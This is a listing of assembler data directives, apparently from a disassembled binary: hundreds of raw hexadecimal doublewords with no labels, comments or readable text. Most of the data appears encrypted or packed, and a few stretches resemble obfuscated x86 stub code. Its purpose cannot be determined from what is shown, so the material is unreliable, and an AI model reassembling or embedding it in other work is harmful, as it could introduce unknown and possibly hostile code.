		dd 0B3AA559Fh, 0F7881321h, 3D155F62h, 0BDC9311Ch, 7DC74A77h
		dd 3F335B03h, 0B9060F1h, 6F3FAEDBh, 7BB928D8h, 9D79C346h
		dd 1735536Bh, 1DE8C879h, 0E19142C7h, 79D85BECh,	0FCACD149h
		dd 0D65078A6h, 0B94EE5B5h, 69820034h, 56F2045Dh, 0BA0DDB08h
		dd 0A40h, 28ADDC4Bh, 0D25784F4h, 7D026B9Eh, 2BB0DD49h
		dd 0D85D8CF7h, 0B4EF573Fh, 619CD055h, 0D14B7F04h, 89F72BB0h
		dd 0C948DB60h, 678CDC7Fh, 41AFB293h, 0D8E4057Bh, 0A46DB989h
		dd 14B9E6Ch, 0C00000Ah,	0B5E96E9Fh, 5F931845h, 0A3EC32Ah
		dd 0B8EC7192h, 991E4Fh,	1677B018h, 0C5205D91h, 71920C40h
		dd 214AB8ECh, 408A099Ch, 93678C9Fh, 7B027073h, 0BE14E405h
		dd 0CC396545h, 0BBFDB237h, 0ED1C87B7h, 5B66CE3Dh, 0DCCC8ED8h
		dd 51E29760h, 0FB1A044Eh, 3868AFE3h, 34CB9BC0h,	7343A8E0h
		dd 77BD2CDCh, 2129C74Ah, 0C3E2D63Eh, 9FE96E1Eh,	0AF45A83Dh
		dd 43B28213h, 34DD0F1h,	0A56DA603h, 47F842A1h, 2BBEA220h
		dd 64F5EA9Ah, 1A73B1E1h, 9D236195h, 9E5F73C2h, 4B57EC9Ah
		dd 78862C0Eh, 5DA0F3C1h, 68000009h, 1145CA33h, 0BBEF7499h
		dd 669A1F4Eh, 1448CD3Eh, 5CF57AEBh, 72930C74h, 214CB9EDh
		dd 0CD3E689Ch, 7DEE1448h, 9CE665F8h, 93678BE3h,	7B5ECCCFh
		dd 3161E405h, 33CA9AF3h, 215BB183h, 0D2ED3BC0h,	69545C8h
		dd 0B110932Eh, 17E70681h, 0FE60D080h, 5497680Ah, 0B1E140C3h
		dd 11671776h, 92F57A93h, 0D18AD433h, 0BD6C987Eh, 7E1DBE2Ch
		dd 60F16C98h, 0D5245AB0h, 987ED08Bh, 982DBE6Ch,	0D80972C8h
		dd 1748B208h, 9000D80Bh, 0A5D2BAAh, 8CCh, 0B439A0D7h, 5EE30880h
		dd 98EFF2Ah, 0B73CA9D5h, 64E91883h, 7BE3CBh, 0FD285CE1h
		dd 0ADD70B90h, 1D83B73Ch, 55D467ECh, 678B500Bh,	0CD3B3E93h
		dd 0F525057Bh, 17F4B888h, 38C06269h, 1AEA7F14h,	33EC3695h
		dd 8F9545ABh, 45AB9A45h, 0F4E77895h, 275DB363h,	0D86D9C07h
		dd 1A4BB208h, 5D8EF44Ah, 5663B8Dh, 73A304CEh, 0B40ADA0Bh
		dd 0B0471744h, 35966B1Bh, 0B467B110h, 9A9545ABh, 9D035909h
		dd 0E722E76Ch, 0B0BF17B9h, 54Eh, 0EFD2621Eh, 0A38226Ch
		dd 0E8869768h, 36690536h, 0CB159818h, 6C98FF10h, 0C8BD6DFEh
		dd 1E84B437h, 171B68EDh, 1791B9E7h, 0FA8F26F6h,	4CB2E265h
		dd 4B44B1Bh, 27DAD32h, 7F138B6h, 27BCCD1Eh, 0A010C057h
		dd 176C5E34h, 51214CBDh, 926283FBh, 0D30A6B40h,	40C728F9h
		dd 3F8886C9h, 52A93EDCh, 4DF6488h, 35C154h, 0E3E0000h
		dd 2EC2729Bh, 0F02ED062h, 0DC30C797h, 0DA7141A2h, 0C778C245h
		dd 0AB9545C7h, 0E1DA4A1Ah, 66B5AAE6h, 5CAD3495h, 3B9EAFE7h
		dd 7, 2217EA9h,	62EC0000h, 226CEFD2h, 97680850h, 0AD1DED7Eh
		dd 6C987EF7h, 0BAC92AF9h, 94C4477Ah, 952CFC69h,	4C1660E5h
		dd 726EB5B0h, 0FF285CE1h, 3F68BE8Eh, 0F85BFECEh, 7D27665Ah
		dd 4FFFF875h, 0F823197Ah, 55D00489h, 9A7900Bh, 8B201A7Eh
		dd 0CD3865BBh, 0C7F75AFDh, 0A57A2A53h, 0B6D74E44h, 0D18AD433h
		dd 0BD66FE10h, 5C5D6A2Ch, 0D2B41A94h, 6C4D9B22h, 666FEACh
		dd 0A3A25DA7h, 0FF9066FEh, 5E8FF94Fh, 207FA5D9h, 0FEA325D6h
		dd 0E3780966h, 0D0627F13h, 0D94498EDh, 0C79A9ACh, 3AB78CE1h
		dd 1097F8A9h, 0BF174DF9h, 4099Eh, 7B0C00h, 0B787F822h
		dd 0E4BB8B20h, 4651462h, 0EF74950Eh, 0CC2140BBh, 0F3B30D78h
		dd 9EFCBC68h, 0BCEC6F04h, 34E7314Ch, 1A9545CEh,	69A0F489h
		dd 7EFD5404h, 2F584EAFh, 158BBBBEh, 409F24F4h, 45CE45F6h
		dd 0E8982995h, 45CEC278h, 94F5C495h, 0ECDA609Eh, 44BB0361h
		dd 6382FD51h, 0EB1549CEh, 8F2445BBh, 0B2936E0Ch, 39B905D2h
		dd 9147B789h, 1695456Eh, 57AD7DEEh, 316ABE2Fh, 0AA5D00D0h
		dd 58071249h, 2973D2F7h, 95456E76h, 6F9C0C5Ch, 0AAD42ADAh
		dd 4DE2037Ah, 7D1D7AC8h, 9A7F9545h, 0BF17E570h,	0FFFF3D27h
		dd 57B95FFh, 0F52B5FE4h, 0AE54C494h
		dd 239545C7h, 64BA8AFBh, 31389F39h, 0B32171D9h,	4D74E1Eh
		dd 16956CA3h, 73B02078h, 0FB24ED6Dh, 7045F58Ah,	82EB190Fh
		dd 325BCFFFh, 941BCB62h, 9C072760h, 71069D6Dh, 0C86731A1h
		dd 15E645B6h, 9BDC2DB4h, 7CBBEEA4h, 29000000h, 96E11C4Ch
		dd 45C7934Ch, 59EE7F95h, 0BC6C9905h, 0A2ECE74Dh, 9545C7F9h
		dd 21DEB206h, 8275AAA3h, 0C696C732h, 82059A2Fh,	6806AE38h
		dd 80039497h, 24D721h, 790A6C98h, 0D587F7C9h, 0D46C9800h
		dd 0EE1BA203h, 0A9B8F50Ah, 22h,	0CE8E6117h, 71C29545h
		dd 0FFFFFE03h, 1D7EDFh,	9CFB0000h, 45C7A952h, 0CA358595h
		dd 9F34CB9Bh, 1C4C5BEFh, 1EB585E6h, 2901B6Eh, 7B890000h
		dd 0BE14E405h, 4CEF3940h, 229545C7h, 1477FC91h,	7D4DBEE4h
		dd 661963E6h, 4C9545C7h, 989C0BBBh, 0A947A629h,	22284D73h
		dd 0E2520238h, 97607BD4h, 0A919E97Ah, 6CA64CF2h, 38BF20F1h
		dd 0B8FAD4D1h, 65C6h, 0ED134300h, 86E1854Fh, 8419277Dh
		dd 0D96D1DB4h, 0A201D262h, 45C7A758h, 8CFA8B95h, 9545C7D3h
		dd 16992EBFh, 895E19B7h, 93A31DF3h, 4ED73E3h, 3339760h
		dd 107DA999h, 6414A940h, 9E0EDE6Fh, 6CA606F9h, 2D2336Ch
		dd 451576ACh, 86BD1EF3h, 0F37ADBACh, 0B8FB0F16h, 9215F8Fh
		dd 28D86D90h, 0C995h, 57B0300h,	0BD8DF825h, 700E9126h
		dd 518FFE4Ch, 7D4FFF0Eh, 405FC8F8h, 45AD45F6h, 3982995h
		dd 0A482FD53h, 0A1380875h, 87B73C0Ch, 0E83EEE1Fh, 2B8151BAh
		dd 0A35CA6F5h, 0C09545ADh, 130F612Ch, 3DCEC140h, 61D523A8h
		dd 729545D1h, 2858DB0Ch, 0A659A3FAh, 8C9545DEh,	2FB666FBh
		dd 0EC6F52E2h, 0DE98438Dh, 0E5769545h, 58C9AF23h, 0F2A2BE62h
		dd 0ADD6236Dh, 6BFC9762h, 1E4FB8E8h, 92063699h,	3863B969h
		dd 0A08CBDC9h, 0A573AA8Ch, 44752h, 0B4255200h, 5E8FFB2Fh
		dd 974A5D9h, 0B7D45084h, 6485FE32h, 0F65E46DFh,	0A3D75C8Dh
		dd 52860B7Ah, 0FE32B728h, 4FE26780h, 96D586D0h,	0B6B99367h
		dd 0E1007B48h, 91FA285Ch, 57B9A0Ch, 308F14E4h, 0C85D4192h
		dd 0A780658h, 95457251h, 0A6FCAC3Dh, 3D8A0F78h,	0FD47CAF7h
		dd 97601CE7h, 89B93CCDh, 6D3FEF1Eh, 0A64944FDh,	3657CD6Ch
		dd 75961066h, 0EE4F02A5h, 0DB3CEDB7h, 0D65968CCh, 8327768Ch
		dd 639CCC6Eh, 0EB9B3202h, 0F78A6F6h, 8E13A83Fh,	0B6A1F341h
		dd 0D0295B02h, 0D57DA6Fh, 64AE3C13h, 0BDED7001h, 0C8D8F34Dh
		dd 28885621h, 5D9D193h,	11DB5DEh, 3D6DCC51h, 4CD1A1CCh
		dd 0E6735902h, 0FA43578h, 6D90095Fh, 2243BAEAh,	0EC9DEB72h
		dd 7578E673h, 0F255DA0Bh, 0BD9BB254h, 31851C7Bh, 94E797F6h
		dd 49h,	0E01C4C02h, 6C1CB383h, 45C747FCh, 4186B195h, 0BF1188BCh
		dd 6EC1C5E0h, 1BEB800Bh, 4525F0ABh, 4BAC8195h, 36B92455h
		dd 9E6E9F06h, 9CD05707h, 0C1310162h, 9545261Bh,	0D3C92AD9h
		dd 50B338A9h, 0B280EBB2h, 1DCD71D9h, 0E31C4C89h, 27CD282h
		dd 41BB11E1h, 0D3845020h, 0E1027C72h, 0D5EF0E5Ch, 3C219545h
		dd 0BF1736CEh, 0FFFF94C9h, 57B37FFh, 40BE14E4h,	574A427h
		dd 54A128D8h, 8AFB22E0h, 0B8E23BAh, 60DAF3C1h, 91095997h
		dd 81EA186Ch, 0F7AC1CECh, 7A6CA72Dh, 4E12E203h,	0D8A900AAh
		dd 3E66BAC6h, 0B386FDCDh, 70411B52h, 9E81880Fh,	3616B8F9h
		dd 84000000h, 0F830D262h, 31760266h, 55EA75F8h,	0D659EE85h
		dd 60D5F68Ch, 0A3ED4C97h, 6CA6D5F8h, 0A09545D6h, 28CF3F0Fh
		dd 176CA6D5h, 0AB5EE546h, 0ECB8FA5Fh, 0CBh, 0E4057B5Ah
		dd 6545BE14h, 6636CB3Ah, 0A9799210h, 37BC2D53h,	5A8636D4h
		dd 0F9AE7E55h, 0FA91618Ch, 0D145B565h, 0E29545DEh, 92C64BBCh
		dd 0BC2BFB6Ch, 6E115B78h, 449545CAh, 519B1EB3h,	9760DDB7h
		dd 0D2336DBDh, 53D66B02h, 0B989F823h, 9EEB7222h, 0D5366C96h
		dd 4FE40981h, 78236DCCh, 566CA739h, 0D56A9306h,	556A025h
		dd 296E80D4h, 0BFE51598h, 37E77E4Eh, 0F62353B2h, 7020B787h
		dd 0FB80E11Ah, 356E5CC7h, 0C333FD4h, 0F7B0AA2Eh, 1E2D629h
		dd 0BEED0000h, 6296CA4Fh, 0C94074F9h, 0B3EB1FA4h, 6E99CD52h
		dd 0F9E17AFFh, 72F71691h, 21A6C73Eh, 0CD52B3EDh, 7D026B99h
		dd 7E216BEAh, 54936794h, 7BE351h, 0FA285CE1h, 4C9A0C91h
		dd 0D383E01Ch, 6EF1D064h, 60C65E24h, 13E37497h,	0A738FCA3h
		dd 0D637716Ch, 1378B006h, 65C67743h, 2283542Eh,	0FA4C6E9Bh
		dd 9D0737B8h, 55059C6Ch, 0C7C2h, 57B3000h, 0F43161E4h
		dd 0C117E999h, 0E7572746h, 9545CC7Fh, 8BFA2555h, 0EE1F85DBh
		dd 0AED60669h, 26D66D3Dh, 693952D0h, 5FC83AFAh,	0BE61AB2Eh
		dd 946ABA3Ch, 0A1EB6E03h, 689F2BE7h, 0AAF77C0Dh, 6AB4378Ah
		dd 6E80CE70h, 9ACA4DDEh, 477B0061h, 8CA1ADDCh, 63B0AA3Eh
		dd 1164295h, 0EA210000h, 5ECAFE83h, 574A82Dh, 0E71F53D8h
		dd 52CD0186h, 2D15AE33h, 0A62B5AC5h, 55DA0B72h,	186E721h
		dd 0B13657CDh, 0AA559F1Eh, 88936793h, 7B1785h, 0B888F922h
		dd 3451CD21h, 5EBD1C9Fh, 45C76B14h, 48B64795h, 9545C797h
		dd 9B2FC7Bh, 0E59545C7h, 880FBF54h, 38BD2E54h, 732C76D5h
		dd 5F9545C7h, 0E1027ACEh, 36CA7A11h, 14E4057Bh,	0EF3940BEh
		dd 9545C74Ch, 77FC9122h, 8CF80A2Ah, 0FD47CA5Fh,	9768086Fh
		dd 6FF4C455h, 7E15C610h, 68F96C98h, 0CB3C62B8h,	7938AA48h
		dd 0BACA4CEFh, 8220830Ah, 1586A41Fh, 0AB01B1BDh, 0BE2F5575h
		dd 1E95929h, 3D2440C0h,	0CD33298Ah, 55B4179Ch, 0C142500Bh
		dd 0FDAD3E24h, 401079A7h, 0CE51B2EAh, 3707609Eh, 0CC1EF0A0h
		dd 4FBCA947h, 0EA903771h, 0E77E4EBFh, 6CCDA252h, 5ADF0876h
		dd 0C8FF826h, 412E026Eh, 2C58C805h, 0A87A2ABFh,	65118523h
		dd 0BEC873BDh, 15A624C1h, 0B17D553h, 6F1F4EB7h,	31Ch, 69F98A00h
		dd 0DDD0C7Bh, 502049B7h, 8F5F80FAh, 0D1A1CC39h,	11E1007Bh
		dd 512140BBh, 926283FBh, 0D0A0CD3Ch, 0DDD0E7Ah,	0E6895656h
		dd 4C681h, 0EE830000h, 24348704h, 240C895Ch, 81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0B768242Ch, 89000050h
		dd 0BB53243Ch, 67EB2BAAh, 23BCBA52h, 0C2810C69h, 91CDF82Ah
		dd 15AD589h, 8B545BDDh,	0C483243Ch, 4815504h, 0F1024824h
		dd 8478F07h, 248BA52h, 572907F1h, 3C8B5A08h, 0E6895624h
		dd 4C681h, 0C6830000h, 24348704h, 242C8B5Ch, 5E08950h
		dd 4, 8704C083h, 0E95C2404h, 0FFFBEFD7h, 53856EBFh, 51A10BF9h
		dd 225595B8h, 0FFC50306h, 6128D6E0h, 882ED534h,	0AD32AA47h
		dd 0E6936475h, 6BA74220h, 0A3FA455Dh, 8FE160Ch,	0E9269D70h
		dd 185E92Bh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0BEB0A8C3h, 8F01EF51h, 0FE9D4h
		dd 72D60000h, 76DD795Ch, 2C08FF38h, 96E20D3Dh, 11E960A2h
		dd 8C000000h, 1FFD3DDCh, 580E554Dh, 0CD379E72h,	7F85C2AEh
		dd 61CEBF0Fh, 5706B58Dh, 8DFC0622h, 20489E85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0FF438843h, 0E38160D0h, 57205EE0h, 6779C7BBh, 60C36127h
		dd 810F57h, 59000000h, 0F8F0Fh,	0AE90000h, 5D000000h, 0F0A14809h
		dd 2A13E7D8h, 8C666143h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0F1731135h
		dd 0D623D188h, 0FF50D89h, 1480h, 0FE900h, 698B0000h, 0BF8F72FBh
		dd 49D03DA1h, 0E690A55Eh, 4C1F641h, 4C840Fh, 0FE90000h
		dd 34000000h, 3468EAB0h, 8851419Eh, 9B8F2EB1h, 0FB8BF6F7h
		dd 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h,	0EBD98Bh
		dd 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh
		dd 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 50006AFCh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 8082307Eh, 14810F47h, 0F000000h, 0E84h, 9E900h, 0A0D50000h
		dd 640012CFh, 0C75DB220h, 22577E85h, 1013F06h, 11E800h
		dd 72DA0000h, 1689E198h, 80B471A9h, 6BF0AAF9h, 59DCBD43h
		dd 11E952h, 0FDC30000h,	76AC6A75h, 905A9309h, 75E63C45h
		dd 5F1BF325h, 7551C181h, 14E90000h, 56000000h, 9ACA262Eh
		dd 70A72E59h, 3108CA7Ch, 1C8F597Dh, 2B48635Ch, 57E681DBh
		dd 8B0E2941h, 81661904h, 81E942C6h, 8D50FAC0h, 38A0F5Bh
		dd 0F000000h, 0F081D3B7h, 11AEAC4Bh, 7E8DDF81h,	0E8816B57h
		dd 5C0DAB91h, 0EE9h, 899C3100h,	6252799Bh, 8728E4A6h, 89AEB506h
		dd 870F1904h, 6, 3840DE81h, 0FB8B62D8h,	6604EB83h, 0FB81FB8Bh
		dd 0FFFF8B60h, 0FFA1850Fh, 8166FFFFh, 8D5559E2h, 2259468Dh
		dd 0DF816606h, 58508572h, 20D18D89h, 6A061Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0AC3365C3h
		dd 3B910B89h, 2B4D9D09h, 85C7061Dh, 61D331Dh, 74A0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 59C35545h, 0D6BF0F19h
		dd 10E9h, 0AF8D8100h, 7F720B54h, 9871C5F5h, 151B896h, 0F985C799h
		dd 61D2Bh, 8B000000h, 1D2F6D95h, 5DB5FF06h, 0F061D12h
		dd 95FFF1BFh, 61D1519h,	6AF38B66h, 995FF00h, 8B061D12h
		dd 531FEBC0h, 2D9EE84Bh, 0A331B11h, 4081643Fh, 4BC42A5h
		dd 9CA7F41h, 1AF093FFh,	225B9338h, 60EBFA2Eh, 18h dup(0)
		dd 0B57E9h, 0B4BE900h, 78680000h, 0E9062261h, 0FFFB25D6h
		dd 2262BA68h, 25CCE906h, 3268FFFBh, 0E9062263h,	0FFFB25C2h
		dd 0B05A1A20h, 0A24C1C17h, 96402C09h, 873137FDh, 7A2448EEh
		dd 0E84E2502h, 0F641DA84h, 137D07Ah, 152CC56Fh,	3DCFB55Fh
		dd 60FF1BABh, 0BB42A823h, 704D2314h, 96DA5D16h,	93A15EECh
		dd 83BE77D5h, 0FD8F41F1h, 2542A6E9h, 10EB49FAh,	1CAEE355h
		dd 2542A688h, 0BA976819h, 0E64E38FFh, 3D4A582h,	32C47626h
		dd 2542A6A2h, 0C8A0942Fh, 56E099F7h, 9263092Ch,	303CFAB5h
		dd 0CC9C9853h, 0C4D86A1Ch, 0D52542A6h, 3BEBC624h, 6D3118A6h
		dd 36943829h, 77CAB87Dh, 9F4F2CFDh, 0A2C52E2h, 0E3B48562h
		dd 1767CC85h, 0A0714E1Eh, 0D0DC670Dh, 0E7B89915h, 0FCC55A0Ah
		dd 0ED4B9338h, 6CBA98F6h, 0A2C65808h, 2F1F24E0h, 2211CE7Eh
		dd 5CD99646h, 4623310h,	0E9B39E5Ch, 0B1B77C39h,	0FF13A553h
		dd 69DC9C95h, 75C28CD4h, 0E745EAECh, 5C2571E4h,	110A36C6h
		dd 99A86340h, 0E6A331DBh, 6AFE3551h, 8DEBBC99h,	472D14E6h
		dd 0D3621F9Eh, 0B629BC99h, 7BE8953Ah, 0C2753001h, 0CC7550AEh
		dd 953E5EEFh, 8A1F9E25h, 0FE5D30B0h, 45D78770h,	2542A7B1h
		dd 7B339142h, 17FF3161h, 2418h,	5EEF7100h, 0A639CD5Fh
		dd 19CA2542h, 8D1F9F48h, 2542A679h, 1F30D98Ah, 491F1474h
		dd 3060EBA0h, 37h, 3E5EEF8Bh, 9E8A1F95h, 8E936FDAh, 0B08DE354h
		dd 2B00EDFh, 42445C70h,	8B2DC225h, 2377F42Eh, 710E74D2h
		dd 0FACBA8C4h, 6D1F8029h, 85E391B0h, 491F14DEh,	0EF60EBA0h
		dd 89E75159h, 777608B8h, 641F45A1h, 5FB242D4h, 8E3FDCA0h
		dd 0B850E0BDh, 0C6DCA05Fh, 0FFB1DE3Ch, 0A05F596Dh, 5BB96ADCh
		dd 1DC509A3h, 15C30EDh,	0EF890000h, 0F88A3A62h,	2542A69Ch
		dd 0B46F4CFDh, 0B63DE78Dh, 9BD5621Fh, 0D68FEDBEh, 4982A6Bh
		dd 952542A6h, 0F26A13E4h, 0BAAE8542h, 7AE0CDDh,	0CBDB6D1Fh
		dd 0D82542A6h, 0DC57F365h, 0AD7EE6D3h, 0BCDC714Fh, 159E2513h
		dd 17FF308Bh, 0A034C678h, 31D842A6h, 3FAE2280h,	7000000h
		dd 0CBDB6D1Fh, 0D82542A6h, 0A626B648h, 2B32542h, 8D459E31h
		dd 0C929860Ah, 0D8B88D6Bh, 798D1F2Fh, 8A2542A6h, 741F30D9h
		dd 26871F14h, 158AE94Dh, 81EF4803h, 60EB07B0h, 3630h, 5EEF8B00h
		dd 8D1F953Eh, 2542A679h, 0FA2E4ADFh, 9920F05Fh,	7922D53Bh
		dd 6D1F741Fh, 42A6CBDBh, 6C27D825h, 0F4C5A2CAh,	2856DD96h
		dd 0AD7E5B19h, 582943F2h, 0EF60EBAFh, 0D88A3A62h, 42A6B646h
		dd 34924325h, 0A694F486h, 4CFD2542h, 0E78DB46Fh, 2D14B63Dh
		dd 0A6C6D668h, 22D32542h, 49F2A851h, 953E5EEFh,	621F9E25h
		dd 490598D4h, 7112C22Ah, 9527DF3Dh, 0C417FF30h,	21h, 3E5EEF1Dh
		dd 798D1F95h, 8A2542A6h, 741F30D9h, 0D65F1F14h,	17E8B996h
		dd 3060EB6Eh, 24h, 3E5EEF8Bh, 798D1F95h, 272542A6h, 741FCB74h
		dd 96D2621Fh, 946426B9h, 0D72D3629h, 44EFA806h,	60EB7B24h
		dd 0C430h, 62EF8B00h, 9CF88A3Ah, 0FD2542A6h, 8DB46F4Ch
		dd 0FDAF3DE7h, 42A65B6Bh, 0FCB76825h, 82533038h, 2D147D24h
		dd 49F29E47h, 0E1545EEFh, 0B549DB8Bh, 462542A6h, 5714C495h
		dd 89308EDEh, 8B159E25h, 0B217FF30h, 3Bh, 7DEF4704h, 0CA71CFA0h
		dd 953E5EEFh, 0A6798D1Fh, 4ADF2542h, 33D1E4BCh,	293FF4D9h
		dd 4CAA7B4Ch, 1FEF9849h, 0DB6D1F74h, 2542A6CBh,	10C927D8h
		dd 0EB9C4523h, 433060h,	0EF8B0000h, 87ED545Eh, 6D1F0DB6h
		dd 42A6CBDBh, 79F64A25h, 0A8518197h, 0E694F2A3h, 42474054h
		dd 58E9A625h, 0A558BE1Ch, 71FF38F5h, 8113C394h,	2542476Dh
		dd 0C86FCD7Eh, 1F14741Fh, 621FA049h, 5B3D9BD5h,	472D14D0h
		dd 0E789AF6Ah, 0D79DA43Dh, 0A6506AFAh, 6F132542h, 0C68D9ABh
		dd 0FC78C962h, 0C344581Fh, 5F1AF771h, 0FAB592E2h, 8253303Ch
		dd 7DF129D1h, 0C3C159FFh, 8E4CF67Eh, 6F2CDCB8h,	0F9CAA7C9h
		dd 0A627B749h, 3B42542h, 0B045F7A5h, 0D16A0001h, 54E240B4h
		dd 1F45FD51h, 24B49142h, 0DCA1F394h, 7B0A109Ah,	0ED1C6971h
		dd 2F08h, 621F6100h, 0E9BA97D1h, 8A67092Eh, 9FA25BB9h
		dd 0B348F8D5h, 320FCB58h, 0BAEFAF42h, 5E6EFC5Ah, 19254258h
		dd 62DFA575h, 1DDA6812h, 50F7551Bh, 97472D14h, 36135DDAh
		dd 0D4B1BB7Bh, 0F9D43203h, 0B5650319h, 246D5323h, 852FE01Fh
		dd 0E2971C7h, 4FE19162h, 0E69807AEh, 1FAF8C3Dh,	0D682398Bh
		dd 760F0B95h, 0E73FA374h, 3903h, 0D3C05500h, 0F90D9FE2h
		dd 0AD68230h, 0A65BC659h, 0EFF198F6h, 0F88A3A62h, 2542A694h
		dd 0E7A45405h, 0F7741E4Eh, 28h,	0F707994Bh, 42542A6h, 26DE4591h
		dd 0BB8CCC85h, 62EFB65Dh, 0A784E450h, 0C35505D6h, 2542A647h
		dd 0AE6B1BCCh, 0B43BE587h, 1C930h, 8EF8400h, 0A434EF6Fh
		dd 0FB3756DBh, 8F2AFC68h, 5CEF8A31h, 49F28F38h,	0CBDB6D1Fh
		dd 0D82542A6h, 0D1E57727h, 0E22542A6h, 271AD331h, 621FA44Dh
		dd 913997D1h, 308B150Ah, 39B217FFh, 0B000000h, 0F4A48A1Fh
		dd 5144C069h, 660215F3h, 798D1FBDh, 8A2542A6h, 0CC6C29D9h
		dd 98F6C7A4h, 14741FF1h, 97D56121h, 59EB1DC6h, 0A68115A7h
		dd 61122542h, 5C305C03h, 8B000000h, 60765CEFh, 3CA9050Ch
		dd 1FAA5324h, 42A6798Dh, 3952725h, 2542A6F3h, 0CE7E4F00h
		dd 0A67A8A1Ch, 0D6872542h, 741FD178h, 9B4B2114h, 0A5375ADEh
		dd 2542A611h, 4320F1A2h, 0A6ED0193h, 4DFE2542h,	1F771E7Ch
		dd 26B8D162h, 2542A696h, 43A17223h, 2D3ACF61h, 808D4259h
		dd 14AF56B4h, 0DA97472Dh, 5F300D67h, 49F25A01h,	827C5EEFh
		dd 0B22B0BD0h, 0F2D057E4h, 0FFB97A5Fh, 75C17E2Eh, 0EB491AF7h
		dd 1F9E2544h, 85B0D662h, 68390AE7h, 3048520Ah, 20B517FFh
		dd 0A5696A20h, 56CA2861h, 4Fh, 3E5EEFAFh, 0B06D1F95h, 3A0BE888h
		dd 0A6BE4EDCh, 9A4B2542h, 1F741FF1h, 0F8DF178Ah, 0D585632Ah
		dd 42ABB343h, 318F4025h, 0FDADBB78h, 1A78F840h,	1F60EB73h
		dd 0BB98D462h, 0A81CE728h, 0F7C80645h, 4821B547h, 1B22542h
		dd 4106A3h, 0EF610000h,	0D18E3E5Eh, 55171F67h, 78D6A778h
		dd 798D1FD1h, 0DF2542A6h, 7C591322h, 34E74DABh,	3B04EF84h
		dd 15FD7CEBh, 6D1F10B7h, 0A69529BBh, 2B982542h,	6EF3047Dh
		dd 4AA8595Eh, 491F14A3h, 1460EBA0h, 0DF6F4C24h,	2542A6CAh
		dd 1679A149h, 0A6C2D264h, 34CF2542h, 39976800h,	8B8B880h
		dd 2381EB4Bh, 2414F47Bh, 84B46F4Ch, 850F0FECh, 0F63DFA95h
		dd 66C49572h, 7F238BADh, 5BDFC04Eh, 79E79162h, 25428A9Fh
		dd 0D0971876h, 429FAE3Eh, 0F78A3B25h, 0C1926237h, 39CD5F11h
		dd 0CA2542B4h, 0EE03BB19h, 9114FF2Ah, 0FFFFFE02h, 0D1621FEAh
		dd 8BE9BA97h, 42A6EDFDh, 0A6DF6B25h, 4E592542h,	0AADABD59h
		dd 0C42246EDh, 0BD59A236h, 5914A4DAh, 8612DABDh, 601ABD59h
		dd 101F7FCBh, 0F04EACA3h, 0B0600412h, 0B828321Eh, 0D1AE5F20h
		dd 0BED36421h, 9D56982Ch, 0A778291Ch, 0B7DD6B49h, 47287507h
		dd 0FAAB269Ah, 50CDE87h, 51F0CBA1h, 2E7h, 2CD69E9Ch, 1EC8A093h
		dd 12BCB085h, 3ADBB79h,	0F6A0CC6Ah, 6CCAA17Eh, 7ABD5600h
		dd 85B34CF6h, 99A841EBh, 0B94B31DBh, 60C79727h,	37BE2423h
		dd 97472D14h, 310E5ADAh, 0D2AFC176h, 0F7D23001h, 0BEAA8A47h
		dd 0F1B48260h, 42A64F5Fh, 73C15C25h, 764718F5h
		dd 0FD38F5A5h, 0D163116Fh, 1F246DF9h, 0C12FD98Ah, 0DC9F0029h
		dd 0BA4C49DFh, 0DC9F002Ah, 0ED4B06B7h, 4D5A683h, 0CBAAC254h
		dd 7627E6F9h, 3C3809C6h, 2C48F992h, 966E77Ch, 5D3A3601h
		dd 23C6F98Ch, 9E2E0967h, 0D6F95272h, 6A0A37F4h,	7C182E0Ch
		dd 9A963ACCh, 4AFBEC9Fh, 3164DD9Ah, 0DB3C0F9Fh,	7A0C9CC8h
		dd 0C8DB3C6Ah, 24F5C677h, 1460E17Ah, 0B9C15737h, 3E32067Ch
		dd 0EEBF906Dh, 0F6B4813Eh, 37BF0C26h, 0D331027Dh, 79C39325h
		dd 9F50F2BDh, 690332EFh, 0FA50300Bh, 0DC5CEE9Eh, 1AF852D7h
		dd 26015D85h, 1371DBD6h, 0F2AF5F10h, 0E27B254Fh, 0A838155Fh
		dd 0C416C010h, 641470C6h, 40F690A7h, 0AD7E4F2Ch, 0F3A1FFD0h
		dd 703F8961h, 0BA71AFEh, 0A37A444Fh, 472704D5h,	51E393F1h
		dd 0C474F42Ch, 0AC9B0EBFh, 8DFFB3AAh, 1A513B2h,	0E05A0000h
		dd 0E251EA94h, 0F243DC86h, 0FD37D07Ah, 0E28C16Bh, 7F3CB45Eh
		dd 14BEAE88h, 0AB4BC7Bh, 0FFA9C771h, 0EF99DB66h, 0D1E57709h
		dd 0E22360C4h, 59EFF57Ch, 69CE8B3Bh, 0FB592A07h, 6DEFBB4Dh
		dd 0C3741F24h, 8DDF5613h, 0A681DFB0h, 641470C6h, 5E6E00B2h
		dd 0B5DC9F00h, 36E7EC80h, 1A2F4AD8h, 19B4E698h,	0A475521Eh
		dd 43204CE9h, 392EA172h, 0E6E10752h, 12D6C0Bh, 58E20000h
		dd 5AD9721Ch, 6ACB640Eh, 75BF5802h, 86B049F3h, 0E7C43CE6h
		dd 9C462610h, 923C3403h, 87313FF9h, 772153EEh, 596DFF91h
		dd 6A2360C5h, 59EF7D04h, 0D9F98B3Bh, 0BA1F246Eh, 9C9C5909h
		dd 0EB9B76D4h, 462062Eh, 0CE7EF64Bh, 0D924B239h, 307B8D94h
		dd 3ECEBF85h, 60F2A273h, 0DC9F504Ch, 0A64EAC5Dh, 0C0D46618h
		dd 26DC9F50h, 9F500094h, 0DBE091DCh, 2E13CC2Ah,	24B96946h
		dd 0F24CAF03h, 613F9D4Eh, 6BFDADCBh, 0E6F90CC3h, 0DC751FD0h
		dd 0CE671157h, 942667h,	91D6F9A1h, 0CA5F0FE0h, 90A3BBC2h
